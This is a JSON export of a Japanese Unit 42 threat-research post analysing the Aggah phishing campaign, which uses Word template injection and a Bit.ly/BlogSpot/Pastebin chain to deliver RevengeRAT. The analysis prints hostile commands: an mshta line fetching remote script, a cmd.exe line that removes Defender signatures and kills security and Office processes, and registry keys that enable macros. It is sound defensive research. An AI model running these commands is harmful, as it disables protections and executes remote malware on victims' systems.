{"id":101401,"date":"2019-04-17T12:00:22","date_gmt":"2019-04-17T19:00:22","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=101401\/"},"modified":"2019-11-25T23:52:00","modified_gmt":"2019-11-26T07:52:00","slug":"aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign\/","title":{"rendered":"Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3: \u5927\u898f\u6a21\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067C2\u7528\u306b\u4f7f\u7528\u3055\u308c\u305fBit.ly\u3001BlogSpot\u3001\u304a\u3088\u3073Pastebin"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>2019\u5e743\u6708\u3001Unit 42\u306f\u3001\u4e3b\u306b\u4e2d\u6771\u306e\u3042\u308b\u56fd\u306e\u7d44\u7e54\u306b\u7684\u3092\u7d5e\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u307f\u3048\u305f\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u8abf\u3079\u59cb\u3081\u307e\u3057\u305f\u3002\u3055\u3089\u306a\u308b\u5206\u6790\u304b\u3089\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304c\u3001\u305d\u306e\u5730\u57df\u3060\u3051\u3067\u306a\u304f\u3001\u7c73\u56fd\u3068\u6b27\u5dde\u304a\u3088\u3073\u30a2\u30b8\u30a2\u306e\u5168\u57df\u306b\u3082\u5f71\u97ff\u3092\u53ca\u307c\u3059\u3055\u3089\u306b\u5927\u898f\u6a21\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u4e00\u90e8\u3067\u3042\u308b\u53ef\u80fd\u6027\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<p>\u914d\u4fe1\u6587\u66f8\u306e\u5206\u6790\u304b\u3089\u3001\u305d\u308c\u304c<a href=\"https:\/\/attack.mitre.org\/techniques\/T1221\/\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/a>\u3092\u4ecb\u3057\u3066\u30ea\u30e2\u30fc\u30c8 \u30b5\u30fc\u30d0\u30fc\u304b\u3089\u3001\u60aa\u610f\u306e\u3042\u308b\u30de\u30af\u30ed\u304c\u6709\u52b9\u5316\u3055\u308c\u305f\u6587\u66f8\u3092\u30ed\u30fc\u30c9\u3059\u308b\u3088\u3046\u306b\u4f5c\u6210\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u30de\u30af\u30ed\u306f\u3001BlogSpot\u6295\u7a3f\u3092\u4f7f\u7528\u3057\u3066\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u8907\u6570\u306ePastebin\u8cbc\u308a\u4ed8\u3051\u3092\u4f7f\u7528\u3057\u3066\u8ffd\u52a0\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30ed\u30fc\u30c9\u3057\u3001\u6700\u7d42\u7684\u306b\u306f\u3001\u6700\u5f8c\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u3001C2\u7528\u306educkdns[.]org\u30c9\u30e1\u30a4\u30f3\u304c\u8a2d\u5b9a\u3055\u308c\u305fRevengeRAT\u3068\u306a\u308a\u307e\u3059\u3002\u5f0a\u793e\u306e\u8abf\u67fb\u306b\u304a\u3044\u3066\u3001\u6700\u7d42\u7684\u306bPastebin\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308bRevengeRAT\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306e\u540c\u3058\u30d7\u30ed\u30bb\u30b9\u306b\u5f93\u3063\u3066\u3044\u308b\u8907\u6570\u306e\u95a2\u9023\u3059\u308b\u914d\u4fe1\u6587\u66f8\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u653b\u6483\u8005\u304c\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u5168\u4f53\u3092\u901a\u3058\u3066\u3053\u308c\u3089\u306eTTP\u3092\u4f7f\u7528\u3057\u305f\u3053\u3068\u3092\u793a\u5506\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u5f53\u521d\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306fGorgon Group\u3068\u95a2\u9023\u3057\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3068\u5f0a\u793e\u306f\u8003\u3048\u307e\u3057\u305f\u3002\u5f0a\u793e\u306e\u4eee\u8aac\u306f\u3001RevengeRAT\u306e\u4f7f\u7528\u3092\u542b\u3080\u9ad8\u5ea6\u306aTTP\u306b\u57fa\u3065\u3044\u3066\u3044\u307e\u3057\u305f\u3002\u305f\u3060\u3057\u3001Unit 42\u3067\u306f\u307e\u3060\u3001Gorgon Group\u3068\u95a2\u9023\u3059\u308b\u3053\u3068\u3092\u8272\u6fc3\u304f\u793a\u3059\u305d\u306e\u4ed6\u306e\u6307\u6a19\u3068\u306e\u76f4\u63a5\u7684\u306a\u4e00\u81f4\u3092\u7279\u5b9a\u3057\u3066\u3044\u307e\u305b\u3093\u3002\u3053\u306e\u305f\u3081\u3001\u9069\u5ea6\u306a\u78ba\u5b9f\u6027\u3067\u3001\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092Gorgon Group\u306b\u5e30\u5c5e\u3055\u305b\u308b\u3053\u3068\u306f\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p>\u305d\u308c\u3092\u8003\u616e\u3057\u3066\u3001Unit 42\u306f\u3001\u653b\u6483\u8005\u306e\u5225\u540d\"hagga\"\u306b\u57fa\u3065\u3044\u3066\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u8aac\u660e\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3068\u547c\u3093\u3067\u3044\u307e\u3059\u3002\"hagga\"\u306f\u3001RevengeRAT C2\u30b5\u30fc\u30d0\u30fc\u3078\u9001\u4fe1\u3055\u308c\u308b\u30c7\u30fc\u30bf\u3092\u5206\u5272\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u3001RevengeRAT\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30db\u30b9\u30c8\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u305fPastebin\u30a2\u30ab\u30a6\u30f3\u30c8\u306e1\u3064\u306e\u540d\u524d\u3067\u3059\u3002<\/p>\n<h2>\u914d\u4fe1<\/h2>\n<p>Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u3059\u308b\u5f0a\u793e\u306e\u8abf\u67fb\u306f\u30012019\u5e743\u670827\u65e5\u306b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4ecb\u3057\u3066\u3001\u4e2d\u6771\u306e\u3042\u308b\u56fd\u306e\u7d44\u7e54\u306b\u9001\u4fe1\u3055\u308c\u305f\u914d\u4fe1\u6587\u66f8\u304b\u3089\u958b\u59cb\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u306f\u3001\u6050\u3089\u304f\u306a\u308a\u3059\u307e\u3057\u3067\u3059\u304c\u3001\u540c\u3058\u56fd\u5185\u306e\u5927\u624b\u91d1\u878d\u6a5f\u95a2\u3092\u767a\u4fe1\u5143\u306b\u898b\u305b\u304b\u3051\u3066\u3044\u307e\u3057\u305f\u3002\u96fb\u5b50\u30e1\u30fc\u30eb\u306e\u4ef6\u540d\u306f\u3001\"\u304a\u5ba2\u69d8\u306e\u53e3\u5ea7\u304c\u30ed\u30c3\u30af\u3055\u308c\u3066\u3044\u307e\u3059(Your account is locked.)\"\u3068\u3044\u3046\u3082\u306e\u3067\u3059\u3002\u3053\u306e\u6700\u521d\u306e\u914d\u4fe1\u6587\u66f8\u306f\u3001\u4e2d\u6771\u306e\u3042\u308b\u56fd\u306e\u7d44\u7e54\u3001\u7279\u306b\u3001\u6559\u80b2\u3001\u30e1\u30c7\u30a3\u30a2\/\u30de\u30fc\u30b1\u30c6\u30a3\u30f3\u30b0\u3001\u304a\u3088\u3073\u653f\u5e9c\u95a2\u9023\u306e\u5782\u76f4\u5e02\u5834\u306e\u7d44\u7e54\u306b\u9001\u4fe1\u3055\u308c\u307e\u3057\u305f\u30024\u65e5\u5f8c\u306e3\u670831\u65e5\u3001\u540c\u3058\u914d\u4fe1\u96fb\u5b50\u30e1\u30fc\u30eb\u304c\u4e2d\u6771\u306e2\u756a\u76ee\u306e\u56fd\u3067\u91d1\u878d\u7d44\u7e54\u306b\u9001\u4fe1\u3055\u308c\u305f\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u305d\u306e\u5f8c\u3001\u3053\u306e\u914d\u4fe1\u6587\u66f8\u306f\u3001\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\u3001\u5c0f\u58f2\u3001\u88fd\u9020\u3001\u5dde\/\u5730\u65b9\u81ea\u6cbb\u4f53\u3001\u75c5\u9662\u3001\u533b\u7642\u3001\u305d\u306e\u4ed6\u306e\u5c02\u9580\u7684\u30d3\u30b8\u30cd\u30b9\u306a\u3069\u306e\u540c\u69d8\u306e\u5782\u76f4\u5e02\u5834\u3092\u6a19\u7684\u3068\u3057\u3066\u3001\u7c73\u56fd\u3001\u6b27\u5dde\u3001\u304a\u3088\u3073\u30a2\u30b8\u30a2\u5185\u306e\u7d44\u7e54\u306b\u9001\u4fe1\u3055\u308c\u305f\u3001\u3088\u308a\u5927\u898f\u6a21\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u591a\u6570\u306e\u4e2d\u306e1\u3064\u306b\u3059\u304e\u306a\u3044\u3053\u3068\u304c\u5224\u660e\u3057\u307e\u3057\u305f\u3002\u95a2\u9023\u3059\u308b\u6587\u66f8\u306f\u6a5f\u80fd\u4e0a\u540c\u69d8\u3067\u3042\u308b\u305f\u3081\u3001\u5206\u6790\u3057\u305f\u5143\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101402\" aria-describedby=\"caption-attachment-101402\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101402 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188.png\" alt=\"\u56f31.\u30e6\u30fc\u30b6\u30fc\u304c\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3059\u308b\u3088\u3046\u306b\u4ed5\u5411\u3051\u308b\u305f\u3081\u306bActivity.doc\u3067\u4f7f\u7528\u3055\u308c\u305f\u30eb\u30a2\u30fc\u306e\u753b\u50cf\" width=\"974\" height=\"429\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188-300x132.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188-768x338.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188-900x396.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-188-370x163.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101402\" class=\"wp-caption-text\">\u56f31.\u30e6\u30fc\u30b6\u30fc\u304c\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3059\u308b\u3088\u3046\u306b\u4ed5\u5411\u3051\u308b\u305f\u3081\u306bActivity.doc\u3067\u4f7f\u7528\u3055\u308c\u305f\u30eb\u30a2\u30fc\u306e\u753b\u50cf<\/figcaption><\/figure>\n<p>3\u670827\u65e5\u306b\u9001\u4fe1\u3055\u308c\u305f\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u304c\"Activity.doc\" (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) \u3068\u3044\u3046Word\u6587\u66f8\u304c\u6dfb\u4ed8\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u304c<a href=\"https:\/\/attack.mitre.org\/techniques\/T1221\/\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/a>\u3092\u4ecb\u3057\u305f\u30ea\u30e2\u30fc\u30c8OLE\u6587\u66f8\u306e\u30ed\u30fc\u30c9\u3092\u884c\u304a\u3046\u3068\u3057\u3066\u3044\u307e\u3057\u305f\u3002\"Activity.doc\"\u3092\u958b\u304f\u3068\u3001\u30de\u30af\u30ed\u3092\u5b9f\u884c\u53ef\u80fd\u306b\u3059\u308b\u305f\u3081\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u6709\u52b9\u5316\u3059\u308b\u3088\u3046\u306b\u4ed5\u5411\u3051\u308b\u30eb\u30a2\u30fc\u3068\u3057\u3066\u3001\u56f31\u306e\u753b\u50cf\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002Office 365\u306e\u30aa\u30f3\u30e9\u30a4\u30f3\u7248\u306eWord\u3067\u306f\u30de\u30af\u30ed\u304c\u6a5f\u80fd\u3057\u306a\u3044\u305f\u3081\u3001\u30eb\u30a2\u30fc\u306f\u3001\u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u7248\u306eMicrosoft Word\u3067\u6587\u66f8\u3092\u958b\u304f\u5fc5\u8981\u304c\u3042\u308b\u3053\u3068\u3092\u30e6\u30fc\u30b6\u30fc\u306b\u793a\u5506\u3057\u307e\u3059\u3002\"Activity.doc\"\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u30de\u30af\u30ed\u306f\u542b\u307e\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u305d\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u30ea\u30e2\u30fc\u30c8 \u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30ed\u30fc\u30c9\u3059\u308bOLE\u6587\u66f8\u306b\u30de\u30af\u30ed\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2>Activity.doc\u306e\u5206\u6790<\/h2>\n<p>\u914d\u4fe1\u6587\u66f8\u306f\u3001<a href=\"https:\/\/attack.mitre.org\/techniques\/T1221\/\">\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/a>\u3092\u4f7f\u7528\u3057\u3066\u3001\u30ea\u30e2\u30fc\u30c8 \u30b5\u30fc\u30d0\u30fc\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u56f32\u306f\u3001\u914d\u4fe1\u6587\u66f8\u306e\u30d5\u30c3\u30bf\u30fc\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u304c\u3001hxxps:\/\/static.wixstatic[.]com\/ugd\/05e470_b104c366c1f7423293887062c7354db2.doc\u304b\u3089\u306e\u30ea\u30e2\u30fc\u30c8OLE\u6587\u66f8\u306e\u30ed\u30fc\u30c9\u3092\u884c\u304a\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101404\" aria-describedby=\"caption-attachment-101404\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101404 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189.png\" alt=\"\u56f32.\u30ea\u30e2\u30fc\u30c8OLE\u306e\u4f4d\u7f6e\u3092\u793a\u3059Activity.doc\u306e\u30d5\u30c3\u30bf\u30fc\" width=\"974\" height=\"156\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189-300x48.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189-768x123.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189-900x144.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-189-370x59.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101404\" class=\"wp-caption-text\">\u56f32.\u30ea\u30e2\u30fc\u30c8OLE\u306e\u4f4d\u7f6e\u3092\u793a\u3059Activity.doc\u306e\u30d5\u30c3\u30bf\u30fc<\/figcaption><\/figure>\n<p>Activity.doc\u30d5\u30a1\u30a4\u30eb\u306e\u30d5\u30c3\u30bf\u30fc\u5185\u3067\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8OLE\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u5b9f\u969b\u306b\u306fRTF\u30d5\u30a1\u30a4\u30eb(SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f)\u3067\u3042\u308a\u3001\u304b\u306a\u308a\u306e\u91cf\u306e\u300c\u30b8\u30e3\u30f3\u30af\u300d\u30b3\u30fc\u30c9\u3092\u542b\u3080\u3001\u6975\u3081\u3066\u96e3\u8aad\u5316\u3055\u308c\u305f\u3001\u57cb\u3081\u8fbc\u307f\u306eExcel\u6587\u66f8\u3092\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306e\u30de\u30af\u30ed\u306e\u76ee\u7684\u306f\u3001\"Shell\"\u30b3\u30de\u30f3\u30c9\u3092\u4ecb\u3057\u3066\u6b21\u306eURL\u3092\u30c7\u30b3\u30fc\u30c9\u3057\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">mshta hxxp:\/\/www.bitly[.]com\/SmexEaldos3<\/span><\/p>\n<p>\u4e0a\u8a18\u306e\u30b3\u30de\u30f3\u30c9\u306f\u3001\u7d44\u307f\u8fbc\u307e\u308c\u305f\"mshta\"\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3001\u63d0\u4f9b\u3055\u308c\u305fURL\u3001\u3053\u306e\u5834\u5408\u306fBit.ly\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u77ed\u7e2e\u3055\u308c\u305fURL\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002WildFire\u306e\u5206\u6790\u4e2d\u3001\u3053\u306e\u77ed\u7e2e\u3055\u308c\u305fbit.ly URL\u306f\u3001\u56f33\u306eHTTP\u5fdc\u7b54\u306e\"Location\"\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u898b\u3089\u308c\u308b\u3088\u3046\u306b\u3001hxxps:\/\/bjm9.blogspot[.]com\/p\/si.html\u3078\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_101406\" aria-describedby=\"caption-attachment-101406\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101406 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190.png\" alt=\"\u56f33.Blogspot\u3067\u30db\u30b9\u30c8\u3055\u308c\u305f\u30d6\u30ed\u30b0\u3092\u6307\u3057\u793a\u3059Bit.ly\u77ed\u7e2e\u30ea\u30f3\u30af \" width=\"974\" height=\"533\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190-300x164.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190-768x420.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190-900x493.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-190-370x202.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101406\" class=\"wp-caption-text\">\u56f33.Blogspot\u3067\u30db\u30b9\u30c8\u3055\u308c\u305f\u30d6\u30ed\u30b0\u3092\u6307\u3057\u793a\u3059Bit.ly\u77ed\u7e2e\u30ea\u30f3\u30af<\/figcaption><\/figure>\n<p>\u4e0a\u8a18\u306eGET\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u308f\u304b\u308b\u3068\u304a\u308a\u3001\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u306b\u3088\u3063\u3066\u30d6\u30e9\u30a6\u30b6(\u3053\u306e\u5834\u5408\u3001\"mshta.exe\")\u306f\u3001blogspot[.]com\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30d6\u30ed\u30b0\u3092\u6307\u3057\u3066\u3044\u307e\u3059\u3002\u56f34\u304b\u3089\u308f\u304b\u308b\u3068\u304a\u308a\u3001\u3053\u306eBlogSpot\u8a18\u4e8b\u306f\u5c11\u3057\u5947\u5999\u306b\u898b\u3048\u307e\u3059\u304c\u3001\u5fc5\u305a\u3057\u3082\u60aa\u610f\u304c\u3042\u308b\u308f\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p><figure id=\"attachment_101408\" aria-describedby=\"caption-attachment-101408\" style=\"width: 822px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101408 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-191.png\" alt=\"\u56f34. Bjm9.blogspot[.]com\u306e\u753b\u9762\u30ad\u30e3\u30d7\u30c1\u30e3 \" width=\"822\" height=\"410\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-191.png 822w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-191-300x150.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-191-768x383.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-191-370x185.png 370w\" sizes=\"(max-width: 822px) 100vw, 822px\" \/><figcaption id=\"caption-attachment-101408\" class=\"wp-caption-text\">\u56f34. Bjm9.blogspot[.]com\u306e\u753b\u9762\u30ad\u30e3\u30d7\u30c1\u30e3<\/figcaption><\/figure>\u30d6\u30ed\u30b0\u3067\u30db\u30b9\u30c8\u3055\u308c\u305f\u30b3\u30fc\u30c9\u3092\u5206\u6790\u3059\u308b\u3053\u3068\u3067\u3001\u305d\u308c\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305f\u3001\u3044\u304f\u3064\u304b\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5b9f\u884c\u3059\u308bJavaScript\u304c\u5b9f\u969b\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u56f35\u306f\u3001\u4e00\u898b\u3057\u305f\u3068\u3053\u308d\u7121\u5bb3\u306b\u898b\u3048\u308b\u30d6\u30ed\u30b0\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u3001\u60aa\u610f\u306e\u3042\u308bJavaScript\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101410\" aria-describedby=\"caption-attachment-101410\" style=\"width: 1020px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101410 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192.png\" alt=\"\u56f35.bjm9 Blogspot\u8a18\u4e8b\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8 \" width=\"1020\" height=\"249\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192.png 1020w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192-300x73.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192-768x187.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192-900x220.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-192-370x90.png 370w\" sizes=\"(max-width: 1020px) 100vw, 1020px\" \/><figcaption id=\"caption-attachment-101410\" class=\"wp-caption-text\">\u56f35.bjm9 Blogspot\u8a18\u4e8b\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8<\/figcaption><\/figure>\n<p>\u3053\u306e\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u4fb5\u5bb3\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u3044\u304f\u3064\u304b\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u6700\u521d\u306b\u3001\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u524a\u9664\u3057\u3066\u3001Microsoft Defender\u3092\u59a8\u5bb3\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u307e\u305f\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u3044\u304f\u3064\u304b\u306eOffice\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30d7\u30ed\u30bb\u30b9\u3068\u3068\u3082\u306b\u3001Defender\u306e\u30d7\u30ed\u30bb\u30b9\u3082\u505c\u6b62\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306f\u3059\u3079\u3066\u3001\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u3092\u4f7f\u7528\u3057\u3066\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n<pre>cmd.exe \/c cd \"\"%ProgramFiles%\\Windows Defender\"\" &amp; MpCmdRun.exe -removedefinitions -dynamicsignatures &amp; taskkill \/f \/im winword.exe &amp; taskkill \/f \/im excel.exe &amp; taskkill \/f \/im MSPUB.exe &amp; taskkill \/f \/im POWERPNT.EXE &amp; forfiles \/c \"\"taskkill \/f \/im MSASCuiL.exe\"\" &amp; forfiles \/c \"\"taskkill \/f \/im MpCmdRun.exe\"\" &amp; exit<\/pre>\n<p>\u6b21\u306b\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u30de\u30af\u30ed\u3092\u6709\u52b9\u306b\u3057\u3001ProtectedView\u3092\u7121\u52b9\u306b\u3059\u308b\u305f\u3081\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u3092\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067\u3001Office\u88fd\u54c1\u5185\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7121\u52b9\u5316\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u307e\u305a\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001\u4ee5\u4e0b\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u5024\u3092\"1\"\u306b\u8a2d\u5b9a\u3057\u3066\u3001Word\u3001PowerPoint\u304a\u3088\u3073Excel\u3067\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\VBAWarnings<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, 